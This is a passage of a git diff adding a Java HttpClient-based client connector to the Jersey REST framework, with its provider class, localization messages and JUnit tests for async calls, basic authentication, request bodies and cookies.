builder.proxy(ProxySelector.of(proxyAddress)); + }); + } + + /** + * Implements a {@link org.glassfish.jersey.message.internal.OutboundMessageContext.StreamProvider} + * for a {@link ByteArrayOutputStream}. + */ + private static class ByteArrayOutputStreamProvider implements OutboundMessageContext.StreamProvider { + private ByteArrayOutputStream byteArrayOutputStream; + + public ByteArrayOutputStream getByteArrayOutputStream() { + return byteArrayOutputStream; + } + + @Override + public OutputStream getOutputStream(int contentLength) throws IOException { + this.byteArrayOutputStream = contentLength > 0 ? new ByteArrayOutputStream(contentLength) + : new ByteArrayOutputStream(); + return this.byteArrayOutputStream; + } + } + + /** + * Builds a request for the {@link HttpClient} from Jersey's {@link ClientRequest}. + * + * @param request the Jersey request to get request data from + * @return the {@link HttpRequest} instance for the {@link HttpClient} request + */ + private HttpRequest getHttpRequest(ClientRequest request) { + final SSLParamConfigurator sniConfig = SSLParamConfigurator.builder() + .uri(request.getUri()) + .configuration(request.getConfiguration()) + .build(); + + final URI sniUri = sniConfig.isSNIRequired() ? sniConfig.toIPRequestUri() : request.getUri(); + + HttpRequest.Builder builder = HttpRequest.newBuilder(); + builder.uri(sniUri); + HttpRequest.BodyPublisher bodyPublisher = HttpRequest.BodyPublishers.noBody(); + if (request.hasEntity()) { + try { + ByteArrayOutputStreamProvider byteBufferStreamProvider = new ByteArrayOutputStreamProvider(); + request.setStreamProvider(byteBufferStreamProvider); + request.writeEntity(); + bodyPublisher = HttpRequest.BodyPublishers.ofByteArray( + byteBufferStreamProvider.getByteArrayOutputStream().toByteArray() + ); + } catch (IOException e) { + throw new ProcessingException(LocalizationMessages.ERROR_INVALID_ENTITY(), e); + } + } + builder.method(request.getMethod(), bodyPublisher); + for (Map.Entry<String, List<String>> entry : request.getRequestHeaders().entrySet()) { + String headerName = entry.getKey(); + for (String headerValue : entry.getValue()) { + builder.header(headerName, headerValue); + } + } + final Integer connectTimeout = request.resolveProperty(ClientProperties.READ_TIMEOUT, Integer.class); + if (connectTimeout != null) { + builder.timeout(Duration.ofMillis(connectTimeout)); + } + processExtensions(builder, request); + return builder.build(); + } + + private static void processExtensions(HttpRequest.Builder builder, ClientRequest request) { + builder.expectContinue(Expect100ContinueUsage.isAllowed(request, request.getMethod())); + } + + /** + * Retrieves a property from the configuration, if it was provided. + * + * @param configuration the {@link Configuration} to get the property information from + * @param propertyKey the name of the property to retrieve + * @param resultClass the type to which the property value should be case + * @param <T> the generic type parameter of the result type + * @return the requested property or {@code null}, if it was not provided or has the wrong type + */ + @SuppressWarnings("unchecked") + private <T> T getPropertyOrNull(final Configuration configuration, final String propertyKey, final Class<T> resultClass) { + Object propertyObject = configuration.getProperty(propertyKey); + if (propertyObject == null) { + return null; + } + if (resultClass.isEnum() && propertyObject instanceof String) { + return (T) Enum.valueOf(resultClass.asSubclass(Enum.class), (String) propertyObject); + } + if (!resultClass.isInstance(propertyObject)) { + LOGGER.warning(LocalizationMessages.ERROR_INVALID_CLASS(propertyKey, resultClass.getName())); + return null; + } + return (T) propertyObject; + } + + /** + * Translates a {@link HttpResponse} from the {@link HttpClient} to a Jersey {@link ClientResponse}. + * + * @param request the {@link ClientRequest} to get additional information (e.g. header values) from + * @param response the {@link HttpClient} response object + * @return the translated Jersey {@link ClientResponse} object + */ + private ClientResponse buildClientResponse(ClientRequest request, HttpResponse<InputStream> response) { + ClientResponse clientResponse = new ClientResponse(Statuses.from(response.statusCode()), request); + MultivaluedMap<String, String> headers = clientResponse.getHeaders(); + for (Map.Entry<String, List<String>> entry : response.headers().map().entrySet()) { + String headerName = entry.getKey(); + if (headers.get(headerName) != null) { + headers.get(headerName).addAll(entry.getValue()); + } else { + headers.put(headerName, entry.getValue()); + } + } + final InputStream body = response.body(); + try { + clientResponse.setEntityStream(body.available() != 1 ? body : new FirstByteCachingStream(body)); + } catch (IOException ioe) { + throw new ProcessingException(ioe); + } + return clientResponse; + } + + /** + * Returns the underlying {@link HttpClient} instance used by this connector. + * + * @return the Java {@link HttpClient} instance + */ + public HttpClient getHttpClient() { + return httpClient; + } + + @Override + public ClientResponse apply(ClientRequest request) { + HttpRequest httpRequest = getHttpRequest(request); + try { + HttpResponse<InputStream> response = this.httpClient.send(httpRequest, HttpResponse.BodyHandlers.ofInputStream()); + return buildClientResponse(request, response); + } catch (IOException | InterruptedException e) { + throw new ProcessingException(e); + } + } + + @Override + public Future<?> apply(ClientRequest request, AsyncConnectorCallback callback) { + HttpRequest httpRequest = getHttpRequest(request); + CompletableFuture<ClientResponse> response = this.httpClient + .sendAsync(httpRequest, HttpResponse.BodyHandlers.ofInputStream()) + .thenApply(httpResponse -> buildClientResponse(request, httpResponse)); + response.thenAccept(callback::response); + return response; + } + + @Override + public String getName() { + return "Java HttpClient Connector " + Version.getVersion(); + } + + @Override + public void close() { + + } + + public CookieHandler getCookieHandler() { + final Optional<CookieHandler> cookieHandler = httpClient.cookieHandler(); + if (cookieHandler.isPresent()) { + return cookieHandler.get(); + } + return null; + } + + private static class SniSslParameters { + private final SSLParameters sslParameters; + + private SniSslParameters(SSLParameters sslParameters) { + this.sslParameters = sslParameters; + } + + private SSLParameters getSslParameters(Client client) { + SSLParamConfigurator sniConfig = SSLParamConfigurator.builder() + .configuration(client.getConfiguration()) + .build(); + + if (sniConfig.isSNIRequired()) { + SSLParameters sslParameters = this.sslParameters; + if (sslParameters == null) { + sslParameters = new SSLParameters(); + } + sniConfig.setSNIServerName(sslParameters); + return sslParameters; + } else { + return sslParameters; + } + } + } + + /* + * The JDK stream returns available() == 1 even when read() == -1 + * This class is to prevent it. + * Otherwise, the MBR is not found for 204 + * See https://github.com/eclipse-ee4j/jersey/issues/5307 + */ + private static class FirstByteCachingStream extends InputStream { + private final InputStream inner; //jdk.internal.net.http.ResponseSubscribers.HttpResponseInputStream + private volatile int zero = -1; // int on zero index + private final Lock lock = new ReentrantLock(); + + private FirstByteCachingStream(InputStream inner) { + this.inner = inner; + } + + @Override + public int read() throws IOException { + lock.lock(); + try { + final int r = zero != -1 ? zero : inner.read(); + zero = -1; + return r; + } finally { + lock.unlock(); + } + } + + @Override + public int read(byte[] b, int off, int len) throws IOException { + lock.lock(); + int r; + try { + if (zero != -1) { + b[off] = (byte) (zero & 0xFF); + r = inner.read(b, off + 1, len - 1); + r = (r == -1) ? 1 : r + 1; + } else { + r = inner.read(b, off, len); + } + zero = -1; + } finally { + lock.unlock(); + } + return r; + + } + + @Override + public int available() throws IOException { + lock.lock(); + try { + if (zero != -1) { + return 1; + } + + int available = inner.available(); + if (available != 1) { + return available; + } + + zero = inner.read(); + if (zero == -1) { + available = 0; + } + return available; + } finally { + lock.unlock(); + } + } + + @Override + public void close() throws IOException { + inner.close(); + lock.lock(); + zero = -1; + lock.unlock(); + } + + @Override + public boolean markSupported() { + return inner.markSupported(); + } + + @Override + public void mark(int readlimit) { + inner.mark(readlimit); + } + + @Override + public void reset() throws IOException { + inner.reset(); + } + } + +}
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java new file mode 100644 index 0000000..32bde1b --- /dev/null +++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java
@@ -0,0 +1,76 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.client.spi.ConnectorProvider; + +import java.net.http.HttpClient; + +/** + * A provider class for a Jersey client {@link Connector} using Java's {@link HttpClient}. + * <p> + * The following configuration properties are available: + * <ul> + * <li>{@link ClientProperties#CONNECT_TIMEOUT}</li> + * <li>{@link ClientProperties#FOLLOW_REDIRECTS} (defaults to {@link java.net.http.HttpClient.Redirect#NORMAL} when unset)</li> + * <li>{@link JavaNetHttpClientProperties#COOKIE_HANDLER}</li> + * <li>{@link JavaNetHttpClientProperties#SSL_PARAMETERS}</li> + * </ul> + * </p> + * + * @author Steffen Nießing + */ +public class JavaNetHttpConnectorProvider implements ConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JavaNetHttpConnector(client, runtimeConfig); + } + + /** + * Retrieve the Java {@link HttpClient} used by the provided {@link JavaNetHttpConnector}. + * + * @param component the component from which the {@link JavaNetHttpConnector} should be retrieved + * @return a Java {@link HttpClient} instance + * @throws java.lang.IllegalArgumentException if a {@link JavaNetHttpConnector} cannot be provided from the given {@code component} + */ + public static HttpClient getHttpClient(Configurable<?> component) { + try { + final Initializable<?> initializable = (Initializable<?>) component; + + Connector connector = initializable.getConfiguration().getConnector() != null + ? initializable.getConfiguration().getConnector() + : initializable.preInitialize().getConfiguration().getConnector(); + + if (connector instanceof JavaNetHttpConnector) { + return ((JavaNetHttpConnector) connector).getHttpClient(); + } else { + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } + } catch (ClassCastException classCastException) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()), + classCastException + ); + } + } +}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java similarity index 70% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java index dd25372..6a5e83a 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,8 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on + * Java's {@link java.net.http.HttpClient}. + */ +package org.glassfish.jersey.jnh.connector; \ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties b/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties new file mode 100644 index 0000000..289b5e3 --- /dev/null +++ b/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties
@@ -0,0 +1,21 @@ +# +# Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +error.body.publisher=Could not determine BodyPublisher for entity. +error.invalid.class={0} is not an instance of {1}. Ignoring property. +error.invalid.entity=Could not serialize entity. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a JavaConnectorProvider.
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java new file mode 100644 index 0000000..6d6e3c0 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java
@@ -0,0 +1,128 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +/** + * An abstract base class for tests of the {@link JavaNetHttpConnector} providing common resources and utility methods. + */ +abstract class AbstractJavaConnectorTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AbstractJavaConnectorTest.class.getName()); + public static final String RESOURCE_PATH = "java-connector"; + + @Path(RESOURCE_PATH) + public static class JavaConnectorTestResource { + @GET + public String helloWorld() { + return "Hello World!"; + } + + @GET + @Path("redirect") + public Response redirectToHelloWorld() throws URISyntaxException { + return Response.seeOther(new URI(RESOURCE_PATH)).build(); + } + + @POST + @Path("echo") + @Produces(MediaType.TEXT_PLAIN) + @Consumes(MediaType.TEXT_PLAIN) + public String echo(String entity) { + return entity; + } + + @POST + @Path("echo-byte-array") + @Produces(MediaType.APPLICATION_OCTET_STREAM) + @Consumes(MediaType.APPLICATION_OCTET_STREAM) + public byte[] echoByteArray(byte[] byteArray) { + return byteArray; + } + + @POST + @Path("async") + public void asyncPostWithTimeout(@QueryParam("timeout") @DefaultValue("10") Long timeoutSeconds, + @Suspended final AsyncResponse asyncResponse, + String message) { + asyncResponse.setTimeoutHandler(asyncResponse1 -> + asyncResponse1.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Timeout").build())); + asyncResponse.setTimeout(timeoutSeconds, TimeUnit.SECONDS); + CompletableFuture.runAsync(() -> { + try { + Thread.sleep(3000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new RuntimeException(e); + } + }) + .handleAsync((unused, throwable) -> throwable != null ? "INTERRUPTED" : message) + .thenApplyAsync(asyncResponse::resume); + } + } + + protected Response request(String path) { + return target().path(path).request().get(); + } + + protected Response requestWithEntity(String path, String method, Entity<?> entity) { + return target().path(path).request().method(method, entity); + } + + protected Future<Response> requestAsync(String path) { + return target().path(path).request().async().get(); + } + + protected Future<Response> requestAsyncWithEntity(String path, String method, Entity<?> entity) { + return target().path(path).request().async().method(method, entity); + } + + @Override + protected Application configure() { + return new ResourceConfig(JavaConnectorTestResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java new file mode 100644 index 0000000..2df4ad4 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java
@@ -0,0 +1,72 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatCode; +import static org.awaitility.Awaitility.await; + +/** + * Tests asynchronous and interleaved requests. + */ +public class AsyncTest extends AbstractJavaConnectorTest { + /** + * Checks, that 3 interleaved requests all complete and return their associated responses. + * Additionally checks, that all requests complete in 3 times the running time on the server. + */ + @Test + public void testAsyncRequestsWithoutTimeout() { + Future<Response> request1 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request1")); + Future<Response> request2 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request2")); + Future<Response> request3 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request3")); + + assertThatCode(() -> { + // wait 3 times the processing time and throw if not completed until then + await().atMost(3 * 3000, TimeUnit.MILLISECONDS) + .until(() -> request1.isDone() && request2.isDone() && request3.isDone()); + String response1 = request1.get().readEntity(String.class); + String response2 = request2.get().readEntity(String.class); + String response3 = request3.get().readEntity(String.class); + assertThat(response1).isEqualTo("request1"); + assertThat(response2).isEqualTo("request2"); + assertThat(response3).isEqualTo("request3"); + }).doesNotThrowAnyException(); + } + + /** + * Checks, that a status {@link Response.Status#SERVICE_UNAVAILABLE} is thrown, if a request computes too long. + */ + @Test + public void testAsyncRequestsWithTimeout() throws ExecutionException, InterruptedException { + try { + Response response = target().path("java-connector").path("async").queryParam("timeout", 1) + .request().async().post(Entity.text("")).get(); + assertThat(response.getStatus()).isEqualTo(Response.Status.SERVICE_UNAVAILABLE.getStatusCode()); + assertThat(response.readEntity(String.class)).isEqualTo("Timeout"); + } catch (InterruptedException | ExecutionException ex) { + throw new RuntimeException("Could not correctly get response", ex); + } + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java new file mode 100644 index 0000000..677d4d0 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java
@@ -0,0 +1,207 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.inject.Singleton; +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.net.Authenticator; +import java.net.PasswordAuthentication; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new Authenticator() { + @Override + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication("name", "password".toCharArray()); + } + }); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new Authenticator() { + @Override + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication("name", "password".toCharArray()); + } + }); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new Authenticator() { + @Override + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication("name", "password".toCharArray()); + } + }); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + + }
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java new file mode 100644 index 0000000..b57107c --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java
@@ -0,0 +1,59 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatCode; + +/** + * Checks, that request entities are correctly serialized and deserialized. + */ +public class BodyPublisherTest extends AbstractJavaConnectorTest { + /** + * Checks with a simple plain text entity. + */ + @Test + public void testStringEntity() { + Response response = this.requestWithEntity("java-connector/echo", "POST", Entity.text("Echo")); + assertThat(response.getStatus()).isEqualTo(200); + assertThatCode(() -> { + assertThat(response.readEntity(String.class)).isEqualTo("Echo"); + }).doesNotThrowAnyException(); + } + + /** + * Checks with an octet stream entity. + */ + @Test + public void testByteArrayEntity() { + String test = "test-string"; + Response response = this.requestWithEntity("java-connector/echo-byte-array", "POST", + Entity.entity(test.getBytes(StandardCharsets.UTF_8), MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertThat(response.getStatus()).isEqualTo(200); + assertThatCode(() -> { + assertThat(response.readEntity(byte[].class)) + .satisfies(bytes -> assertThat(new String(bytes, StandardCharsets.UTF_8)).isEqualTo("test-string")); + }).doesNotThrowAnyException(); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java new file mode 100644 index 0000000..31eda93 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java
@@ -0,0 +1,127 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.net.CookieManager; +import java.util.Collections; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class CookieTest extends JerseyTest { + +private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + +@Path("/") +public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } +} + + @Override + protected Application configure() { + ResourceConfig config = new 